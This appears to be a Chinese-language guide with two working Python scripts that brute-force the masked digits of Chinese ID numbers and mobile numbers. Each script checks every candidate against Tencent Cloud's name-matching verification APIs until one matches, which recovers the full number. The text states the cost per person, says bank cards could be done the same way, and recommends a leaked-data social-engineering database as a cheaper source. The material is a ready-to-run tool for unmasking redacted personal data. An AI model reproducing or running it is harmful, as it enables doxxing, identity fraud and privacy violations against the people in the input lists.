整体思路:

身份证等是有校验位和校验规则的,所以可以本地进行枚举,然后校验格式正确后调用付费的接口进行check

手机号一般打码在4-6位,

主要依托于腾讯云的相关接口

https://console.cloud.tencent.com/faceid/access

身份证恢复

成本一个人中间6位缺失,需要3-6元

脚本执行流程

1. 导入所需的库和模块。 2. 设置腾讯云API密钥。 3. 定义get_checkbit()函数,用于本地计算身份证号码的校验位。 4. 定义check_number()函数,用于本地检查身份证号码是否合法。 5. 定义is_valid_id_number()函数,用于调用腾讯云API验证身份证号码和姓名是否匹配。 6. 定义generate_id_numbers()函数,用于根据部分身份证号码生成可能的完整身份证号码列表。 7. 定义read_excel()函数,用于从Excel文件中读取姓名和部分身份证号码数据。 8. 定义write_excel()函数,用于将结果写入Excel文件。 9. 定义process_id_number()函数,用于处理单个姓名和部分身份证号码,查找匹配的完整身份证号码。 10. 定义main()函数,用于处理整个流程: a. 从输入的Excel文件中读取数据。 b. 为每个姓名和部分身份证号码创建一个线程,调用process_id_number()函数处理。 c. 等待所有线程完成。 d. 打印请求接口的总次数和成功匹配的结果。 e. 将结果写入Excel文件。 11. 解析命令行参数,获取输入Excel文件的路径。 12. 调用main()函数,开始执行程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import re
import sys
import json
import argparse
import itertools
import threading
from typing import List, Tuple
import xlrd
import xlwt
from threading import Lock
from multiprocessing import Value
from tencentcloud.common import credential
from tencentcloud.common.profile.client_profile import ClientProfile
from tencentcloud.common.profile.http_profile import HttpProfile
from tencentcloud.faceid.v20180301 import faceid_client as faceid
from tencentcloud.faceid.v20180301.models import IdCardVerificationRequest

# 请替换以下信息为您的腾讯云API密钥
SECRET_ID = "xxx"
SECRET_KEY = "xxx"


def get_checkbit(id_number: str) -> str:
weight = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_code = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']

sum_ = sum([int(id_number[i]) * weight[i] for i in range(17)])
return check_code[sum_ % 11]

def check_number(id_number: str) -> bool:
if not re.match(r'^\d{17}[\dXx]$', id_number):
return False

if id_number[-1].upper() == get_checkbit(id_number):
return True

return False

def is_valid_id_number(id_number: str, name: str, counter: dict, lock: Lock) -> bool:
cred = credential.Credential(SECRET_ID, SECRET_KEY)
httpProfile = HttpProfile()
httpProfile.endpoint = "faceid.tencentcloudapi.com"

clientProfile = ClientProfile()
clientProfile.httpProfile = httpProfile
client = faceid.FaceidClient(cred, "ap-beijing", clientProfile)

req = IdCardVerificationRequest()
params = {
"IdCard": id_number,
"Name": name
}
req.from_json_string(json.dumps(params))
with lock:
counter.value += 1
try:
resp = client.IdCardVerification(req)
# print(resp)
if resp and resp.Result == "0": # 如果Result为0,则验证成功
print(resp)
return True
except Exception as e:
print(f"Error occurred while validating ID {id_number}: {e}")

return False

def generate_id_numbers(partial_id: str) -> List[str]:
missing_digits = 18 - len(partial_id.replace('*', ''))
id_numbers = []

for combination in itertools.product(range(10), repeat=missing_digits):
id_number = partial_id
for digit in combination:
id_number = id_number.replace('*', str(digit), 1)

# 身份证号码第7-10位表示年份,只能在1930-2020之间
year = int(id_number[6:10])
if year < 1970 or year > 2000:
continue

# 身份证号码第11位只能在0, 1之间
tens_digit_month1 = int(id_number[10])
if tens_digit_month1 not in [0, 1]:
continue

# 身份证号码第12位的范围取决于第11位
tens_digit_month2 = int(id_number[11])
if tens_digit_month1 == 1 and tens_digit_month2 not in [0, 1, 2]:
continue

# 身份证号码第11位和第12位不能同时为0
month = int(id_number[10:12])
if month == 0:
continue

# 身份证号码第13位只能在0, 1, 2, 3之间
tens_digit_day = int(id_number[12])
if tens_digit_day not in [0, 1, 2, 3]:
continue

# 身份证号码第14位只能在1-9之间
ones_digit_day = int(id_number[13])
if ones_digit_day < 1 or ones_digit_day > 9:
continue

id_numbers.append(id_number)

return id_numbers

def read_excel(file_path: str) -> List[Tuple[str, str]]:
data = []
workbook = xlrd.open_workbook(file_path)
sheet = workbook.sheet_by_index(0)

for row in range(1, sheet.nrows):
name = sheet.cell_value(row, 1)
id_number = sheet.cell_value(row, 2)

# 只获取有姓名的数据
if not name.strip():
continue

# 只获取身份证位18位的
if len(id_number) != 18:
continue

# 身份证号除了第7-12位外其他位不为*的才取出来
if '*' in id_number[:6] or '*' in id_number[12:]:
continue

data.append((name, id_number))


return data


def write_excel(data: List[Tuple[str, str]], file_path: str):
workbook = xlwt.Workbook()
sheet = workbook.add_sheet('Result')

for row, (name, id_number) in enumerate(data):
sheet.write(row, 0, name)
sheet.write(row, 1, id_number)

workbook.save(file_path)

def process_id_number(name: str, partial_id: str, result: List[Tuple[str, str]], index: int, counter1: dict, lock: Lock):
print(f"Processing {name} with partial ID {partial_id} in thread {index}")
counter = 0
for id_number in generate_id_numbers(partial_id):
counter += 1
if counter % 1000 == 0:
print(f"Thread {index} progress: {counter} IDs checked")

if check_number(id_number):
print(id_number)
check = is_valid_id_number(id_number, name, counter1, lock)
print(check)
if check:
print(f"{name}正确的身份证{id_number}")
result.append((name, id_number))
print(f"Thread {index} found valid ID: {name}, {id_number}")
break
# else:
# print(f"{name}错误的身份证{id_number}")

def main(file_path: str):
data = read_excel(file_path)
result = []

threads = []
counter = Value('i', 0)
lock = Lock()
for index, (name, partial_id) in enumerate(data):
thread = threading.Thread(target=process_id_number, args=(name, partial_id, result, index, counter, lock))
thread.start()
threads.append(thread)

for thread in threads:
thread.join()
print(f"\n总共请求接口次数: {counter.value}")
print("\n成功了:")
for name, id_number in result:
print(f"{name}, {id_number}")

write_excel(result, 'result.xls')


if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--data', required=True, help='Path to the input Excel file (.xls)')
args = parser.parse_args()
main(args.data)

手机号恢复

目前脚本的思路和流程

  1. 读取Excel文件:read_excel函数从指定的Excel文件中读取姓名和部分手机号(中间四位为*)。这些数据将被存储在一个包含姓名和部分手机号元组的列表中。

  2. 处理手机号:process_phone_number函数对于每个姓名和部分手机号,遍历所有可能的中间四位数字组合,生成完整的手机号。对于每个生成的手机号,首先使用has_consecutive_same_digits函数检查中间四位是否包含3个或4个相同的数字,如果包含,则跳过该手机号。然后,使用is_valid_phone_number函数验证手机号是否与给定的姓名匹配。如果匹配,将姓名和手机号添加到结果列表中,并停止遍历其他组合。

  3. 验证手机号:is_valid_phone_number函数使用腾讯云的实名认证接口来验证给定的姓名和手机号是否匹配。如果匹配,返回True,否则返回False。

  4. 多线程处理:为了加快处理速度,脚本为每个姓名和部分手机号创建一个线程,同时处理多个手机号。线程通过共享的结果列表、计数器和锁来同步。

  5. 输出结果:当所有线程完成处理后,脚本将输出成功匹配的姓名和手机号,并将结果写入一个新的Excel文件(result.xls)。

  6. 主函数:main函数是脚本的入口点。它首先解析命令行参数以获取输入Excel文件的路径,然后调用上述函数依次执行整个流程。

    可以加入的方法

    这里本地如果可以像身份证一样排除一些号码,就会少一些成本

比如3个4个的相同数字或者连号,豹子号一般不会给到普通人(我们是否可以写脚本去减少请求次数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import re
import sys
import json
import argparse
import itertools
import threading
from typing import List, Tuple
import xlrd
import xlwt
from threading import Lock
from multiprocessing import Value
from tencentcloud.common import credential
from tencentcloud.common.profile.client_profile import ClientProfile
from tencentcloud.common.profile.http_profile import HttpProfile
from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException
from tencentcloud.faceid.v20180301 import faceid_client as faceid
from tencentcloud.faceid.v20180301.models import CheckPhoneAndNameRequest

# 请替换以下信息为您的腾讯云API密钥
SECRET_ID = "Axxxx"
SECRET_KEY = "xxxx"

def is_valid_phone_number(phone_number: str, name: str, counter: dict, lock: Lock) -> bool:
print(phone_number,name)
try:
cred = credential.Credential(SECRET_ID, SECRET_KEY)
httpProfile = HttpProfile()
httpProfile.endpoint = "faceid.tencentcloudapi.com"

clientProfile = ClientProfile()
clientProfile.httpProfile = httpProfile
client = faceid.FaceidClient(cred, "", clientProfile)

req = CheckPhoneAndNameRequest()
params = {
"Mobile": phone_number,
"Name": name
}
req.from_json_string(json.dumps(params))

with lock:
counter.value += 1

resp = client.CheckPhoneAndName(req)
if resp and resp.Result == "0": # 如果Result为0,则验证成功
print(resp)
return True
except TencentCloudSDKException as e:
print(f"Error occurred while validating phone number {phone_number}: {e}")

return False


def read_excel(file_path: str) -> List[Tuple[str, str]]:
print("开始读取数据")
data = []
workbook = xlrd.open_workbook(file_path)
sheet = workbook.sheet_by_index(0)

for row in range(1, sheet.nrows):
name = str(sheet.cell_value(row, 1))
phone_number = sheet.cell_value(row, 2)

# 只获取有姓名的数据
if not name.strip():
continue

# 只获取手机号码为11位且中间四位为*的数据
if len(phone_number) != 11 or '*' not in phone_number[3:7]:
continue

data.append((name, phone_number))

return data

def write_excel(data: List[Tuple[str, str]], file_path: str):
workbook = xlwt.Workbook()
sheet = workbook.add_sheet('Result')

for row, (name, phone_number) in enumerate(data):
sheet.write(row, 0, name)
sheet.write(row, 1, phone_number)

workbook.save(file_path)

def process_phone_number(name: str, partial_phone: str, result: List[Tuple[str, str]], index: int, counter1: dict, lock: Lock):
print(f"Processing {name} with partial phone number {partial_phone} in thread {index}")
counter = 0
for i in range(10000):
phone_number = partial_phone[:3] + "{:04d}".format(i) + partial_phone[7:]
counter += 1
if counter % 1000 == 0:
print(f"Thread {index} progress: {counter} phone numbers checked")

check = is_valid_phone_number(phone_number, name, counter1, lock)
if check:
print(f"{name}正确的手机号{phone_number}")
result.append((name, phone_number))
print(f"Thread {index} found valid phone number: {name}, {phone_number}")
break

def main(file_path: str):
data = read_excel(file_path)
print(data)
result = []

threads = []
counter = Value('i', 0)
lock = Lock()
for index, (name, partial_phone) in enumerate(data):
thread = threading.Thread(target=process_phone_number, args=(name, partial_phone, result, index, counter, lock))
thread.start()
threads.append(thread)

for thread in threads:
thread.join()
print(f"\n总共请求接口次数: {counter.value}")
print("\n成功了:")
for name, phone_number in result:
print(f"{name}, {phone_number}")

write_excel(result, 'result.xls')

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--data', required=True, help='Path to the input Excel file (.xls)')
args = parser.parse_args()
main(args.data)

银行卡恢复

相同的原理,成本更大,暂时不做。

另外一个成本较低的渠道

社工库的猎魔查询 姓名+地区